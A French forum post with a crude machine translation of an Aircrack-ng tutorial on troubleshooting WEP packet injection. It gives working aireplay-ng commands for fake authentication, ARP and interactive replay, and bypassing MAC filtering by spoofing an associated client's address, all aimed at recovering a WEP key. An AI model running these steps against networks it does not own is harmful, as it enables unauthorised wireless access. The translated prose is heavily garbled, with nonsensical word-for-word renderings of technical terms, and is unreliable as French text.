Forum d'entraide: tuto-fr.com

voici une traduction qui vaut ce qu'elle vaut pour les nunuches en anglais comme moi.
si on compare avecle texte original, et celui ci  traduit par le site voila.fr on s'en sort a peu prés
ca donne le franglais suivant 

Classe de travaux dirigés : j'injecte mais l'IVs n'augmente pas!
Version : 1.07 le 20 août 2007
Par : darkAudax
Introduction
Un problème fréquent que le problème qui se lève est que les paquets sont injectés, mais l'IVs n'augmente pas. Cette classe de travaux dirigés fournit des conseils en détermination de la cause de racine du problème et comment le fixer.
L'expérience avec votre approche sans fil de famille montre pour devenir familière avec ces idées et techniques. Si vous ne possédez pas de point d'approche particulier, souvenez-vous s'il vous plaît de recevoir la permission du propriétaire avant de jouer avec cela. Je voudrais admettre et remercier l'équipe Aircrack-ng de produire un tel grand instrument robuste. Envoyez-moi s'il vous plaît n'importe quel feed-back constructif, positif ou négatif. Les idées troubleshooting supplémentaires et les bouts sont surtout l'accueil.
Solution
D'abord, cette solution suppose :
•    Vous utilisez des chauffeurs rapiécés de l'injection. Utilisez l'épreuve d'injection pour confirmer que votre carte peut injecter avant la procédure.
•    Vous avez commencé l'interface dans le mode de moniteur sur le même canal que le point d'approche. Dirigé “iwconfig” et confirment que l'interface que vous projetez d'utiliser est dans le mode de moniteur, sur le canal correct (la fréquence), la vitesse correcte, etc. Dans le mode de moniteur, le "Point d'Approche” est votre carte l'adresse de MAC. NOTEZ : Seulement les chauffeurs de madwifi-ng affichent la carte MAC dans le champ d'AP, d'autres chauffeurs ne le font pas. La production semblerait semblable à cela :
ath0      IEEE 802.11b  ESSID:""  Nickname:""
  Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:09:5B:EC:EE:F2   
          Bit Rate=2 Mb/s   Tx-Power:15 dBm   Sensitivity=0/3
          Retry:off   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          Link Quality=0/94  Signal level=-98 dBm  Noise level=-98 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
•              Tx excessive retries:0  Invalid misc:0   Missed beacon:0Vous avez commencé airodump-ng sur le même canal que le point d'approche. C'EST-À-DIRE avec le "-c <option” de nombre de canal.
•    Vous êtes assez physiquement proches pour envoyer et recevoir des paquets de point d'approche. Souvenez-vous que juste parce que vous pouvez recevoir des paquets du point d'approche ne signifie pas que vous pouvez être capables de transmettre des paquets à AP. La force de carte sans fil est typiquement moins alors la force d'AP. Donc vous devez être assez physiquement proches pour vos paquets transmis pour arriver et être reçu par AP. Vous devriez confirmer que vous pouvez communiquer avec AP spécifique par suivant de ces instructions.
•    Vous utilisez v0.9 d'aircrack-ng. Si vous utilisez une différente version alors certaines des options d'ordre devraient être changées.
Garantissez que toutes les susdites hypothèses sont vraies, autrement le conseil qui suit ne travaillera pas. Dans les exemples ci-dessous, vous aurez besoin de changer ath0 au nom d'interface qui est spécifique à votre carte sans fil.
Pour un point d'approche pour accepter un paquet, l'adresse de MAC source doit déjà être associée. Si l'adresse de MAC source que vous injectez n'est pas associée alors AP ignore le paquet et envoie un paquet “DeAuthentication”. Dans cet état, aucuns nouveaux IVs ne sont créés parce qu'AP ignore tous les paquets injectés.
Le manque d'association avec le point d'approche est la raison simple la plus grande pourquoi l'injection échoue. Bien, laisse regardent les symptômes donc vous confirmez que cela arrive. Alors nous regarderons des solutions possibles.
Voici votre indication typique.
L'ordre d'injection entré (ou semblable) :

aireplay-ng -3 -b <bssid MAC address> -h <source MAC address> ath0
aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:46:11:19 ath0

Alors le système répond :

Saving ARP requests in replay_arp-0123-104950.cap
You should also start airodump-ng to capture replies.
Notice: got a deauth/disassoc packet. Is the source MAC associated ?
Notice: got a deauth/disassoc packet. Is the source MAC associated ?
Read 17915 packets (got 3 ARP requests), sent 5854 packets...

Remarquez les messages “deauth/disassoc”. Cela dit que la source MAC “00:0F:B5:41:22:17” n'est pas avec succès associée au point d'approche. Dans ce cas-là, vos paquets injectés sont ignorés.
Une autre façon de confirmer que le manque d'association provoque(cause) un problème est de diriger tcpdump et regarder les paquets. Commencez une autre séance pendant que vous injectez et …

Tapper (run) : “tcpdump-n-e-s0-vvv-i ath0”

Voici un message d'erreur tcpdump typique que vous cherchez :
11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0f:b5:46:11:19 SA:00:14:6c:7e:40:80 DeAuthentication: Class 3 frame received from nonassociated station

Remarquez que le point d'approche (00:14:6c:7e:40:80) dit la source (00:0f:b5:46:11:19) vous n'êtes pas associés. En voulant dire, AP ne traitera pas ou acceptera les paquets injectés.
Si vous voulez choisir seulement les paquets DeAuth avec tcpdump alors vous pouvez utiliser : “tcpdump-n-e-s0-vvv-i ath0 | grep-i DeAuth”. Vous pouvez devoir tordre l'expression “DeAuth” pour choisir les paquets exacts(précis) que vous voulez.
Si maintenant que vous savez(connaissez) le problème, comment le résolvez-vous ? Il y a deux façons fondamentales de résoudre le problème :
•    Associez l'adresse de MAC source que vous utiliserez pendant l'injection avec le point d'approche.
•    Les paquets de rejeu d'un client sans fil qui est actuellement associé à AP.

Pour fréquenter un point d'approche, utilisez l'authentification fausse :

aireplay-ng -1 0 -e <SSID> -a <bssid MAC address> -h <source MAC address> ath0
aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0

Le succès ressemble :
18:18:20  Sending Authentication Request
18:18:20  Authentication successful
18:18:20  Sending Association Request
18:18:20  Association successful :-))

Ou une autre variation pour les points d'approche difficiles :

aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0

Où :
•    6000 - réauthentifier très 6000 secondes. Le long terme provoque(cause) aussi maintiennent des paquets en vie à être envoyés.
•    -o 1 - Envoient seulement un ensemble des paquets à la fois. Le défaut est multiple et cela trouble un APs.
•    -q 10 - Envoient maintiennent des paquets en vie toutes les 10 secondes.

Le succès ressemble :
18:22:32  Sending Authentication Request
18:22:32  Authentication successful
18:22:32  Sending Association Request
18:22:32  Association successful :-)
18:22:42  Sending keep-alive packet
18:22:52  Sending keep-alive packet
# and so on. = et cetera.

À ce point, vous pouvez commencer une autre séance et essayer l'injection de paquet. Avec la chance vous êtes correctement associés et les paquets injectés font l'IVs augmenter. Surveillez l'authentification fausse pour garantir votre rester associés. Utilisez alors airodump-ng pour capturer l'IVs et aircrack-ng pour obtenir la clé WEP.
Bouts de Troubleshooting
•    Il y aura des occasions que même s'il dit vous êtes associés et les paquets maintenez en vie coulent gentiment, les pauses(ruptures) d'association. Donc vous devriez arrêter et rediriger l'ordre.
•    Avec certains chauffeurs, la carte sans fil l'adresse de MAC doit être le même comme l'adresse de MAC que vous injectez. Ainsi si l'authentification fausse ne travaille toujours pas alors l'essai changeant la carte MAC au même un vous essayez d'authentifier avec. Un paquet typique pour le faire est macchanger. Fouillez les forum ou Internet pour les détails et d'autres options. Le changement de l'adresse de MAC est hors des limites de cette classe de travaux dirigés. Voir Comment change-je l'adresse de MAC de ma carte ?
•    Quelques points d'approche sont configurés pour seulement permettre à l'approche de MAC choisie de fréquenter et communiquer. Si c'est le cas, vous ne serez pas capables d'avec succès faire l'authentification fausse à moins que vous ne sachiez(connaissiez) une des adresses de MAC sur la liste permise. Ainsi , l'avantage de la technique suivante (le rejeu interactif) consiste en ce qu'il arrive autour de ce contrôle.
Pour déterminer si le contrôle d'approche MAC est dans l'endroit, entrez dans l'ordre suivant :

tcpdump -n -vvv -s0 -e -i ath0 | grep -i -E "(RA:00:c0:ca:17:db:6a|Authentication|ssoc)"

Vous devrez changer “00:c0:ca:17:db:6a” à l'injection l'adresse de MAC. C'est le cas sensible et typiquement les minuscules. Vous pouvez devoir regarder la production tcpdump sans le filtre de grep pour vérifier le cas.
Quand vous essayez de faire l'authentification fausse, l'échange devrait sembler identique au dossier wep.open.system.authentication.cap qui vient avec le logiciel aircrack-ng. Ce dossier peut être lu dans tcpdump comme …

  tcpdump -n -e -vvv -r wep.open.system.authentication.cap

Fondamentalement vous devriez voir deux paquets authentiques et ensuite deux paquets d'association. Si votre capture de vie réelle ne contient pas tous les quatre paquets et votre authentification fausse échoue alors il y a un filtre de MAC dans l'endroit. Dans ce cas-là, vous devez utiliser l'adresse de MAC d'un client déjà associé à AP. Pour le faire, changez-y l'adresse de MAC de votre carte. Voir Comment change-je l'adresse de MAC de ma carte ?
•    Une adresse de MAC normale y ressemble : 00:09:5B:EC:EE:F2. Il est composé de six octuors. La première moitié (00:09:5B) de chaque adresse de MAC est connue comme l'Identificateur Organisationnellement Unique (OUI). Simplement mis, c'est le fabricant de carte. La deuxième moitié (d'EC:EE:F2) est connue comme l'identificateur d'extension et est unique à chaque carte de réseau dans OUI spécifique. Beaucoup de points d'approche ignoreront des adresses de MAC avec OUIs sans fondement. Assurez-vous donc que vous utilisez un code de code d'OUI valide quand vous inventez des adresses de MAC. Autrement, vos paquets peuvent être ignorés par le Point d'Approche. La liste actuelle d'OUIs peut être trouvée ici.

Voici un exemple d'à lequel une authentification ratée ressemble :

18:28:02  Sending Authentication Request
18:28:02  Authentication successful
18:28:02  Sending Association Request
18:28:02  Association successful :-)
18:28:02  Got a deauthentication packet!
18:28:05  Sending Authentication Request
18:28:05  Authentication successful
18:28:05  Sending Association Request
18:28:10  Sending Authentication Request
18:28:10  Authentication successful
18:28:10  Sending Association Request

Remarquez le "a Reçu un paquet deauthentication” et les réessayages continus au-dessus.
Une approche alternante est de rejouer des paquets d'un client sans fil qui est actuellement associé à AP. Cela élimine le besoin d'utiliser l'authentification fausse comme vous être le soutien de cochon sur le client l'adresse de MAC qui est déjà associée à AP.
Utilisez l'attaque de rejeu interactive plutôt. Nous allons chercher un paquet arp venant d'un client sans fil déjà associé allant au point d'approche. Nous savons que ce paquet arp sera retransmis par AP et produire un IV. Les paquets d'ARP venant d'un client sans fil sont normalement 68 octets de long avec une émission l'adresse de MAC.

Donc nous construisons une demande qui choisit les paquets que nous cherchons :

aireplay-ng -2 -a <bssid MAC address> -d FF:FF:FF:FF:FF:FF -m 68 -n 68 -t 1 -f 0 <interface>

Où :-d FF:FF:FF:FF:FF:FF - l'émission - le m 68 - la longueur de paquet minimale de 68 - n 68 - la longueur de paquet maximum de 68 - t 1 - le paquet va au point d'approche - f 0 - le paquet ne vient pas du point d'approche
Cela affichera chaque paquet capturé pour vous pour inspecter avant être utilisé. Garantissez juste le paquet que vous choisissez est un des clients sans fil déjà associés au point d'approche.
Voici un exemple :

aireplay-ng -2 -a 00:14:6C:7E:40:80 -d FF:FF:FF:FF:FF:FF -m 68 -n 68 -t 1 -f 0 ath0

Read 202 packets...

      Size: 68, FromDS: 0, ToDS: 1 (WEP)

           BSSID  =  00:14:6C:7E:40:80
       Dest. MAC  =  FF:FF:FF:FF:FF:FF
      Source MAC  =  00:0F:B5:AB:CB:9D

      0x0000:  0841 d400 0014 6c7e 4080 000f b5ab cb9d  .A....l~@.......
      0x0010:  ffff ffff ffff a00f 010a dd00 a795 2871  ..............(q
      0x0020:  59e5 935b b75f bf9d 718b d5d7 919e 2d45  Y..[._..q.....-E
      0x0030:  a89b 22b3 2c70 b3c3 03b0 8481 5787 88ce  ..".,p......W...
      0x0040:  b199 6479                                ..dy

Use this packet ? y

Saving chosen packet in replay_src-0124-120102.cap
You should also start airodump-ng to capture replies= commencer airodump-ng pour capturer des réponses.

Bien que vous ne puissiez pas le voir, le susdit ordre a commencé à produire l'IVs. Comme d'habitude, dirigé airodump-ng et aircrack-ng.
•    Quelques points d'approche ont un cadre pour rendre infirme le client sans fil à la communication de client sans fil (appelé au moins sur Linksys “l'isolement d'AP”). Si c'est permis alors toutes les techniques au-dessus ne travailleront pas. La seule approche est d'utiliser les techniques exposées dans un autre de mes classes de travaux dirigés : Comment faire craquer WEP via un client sans fil.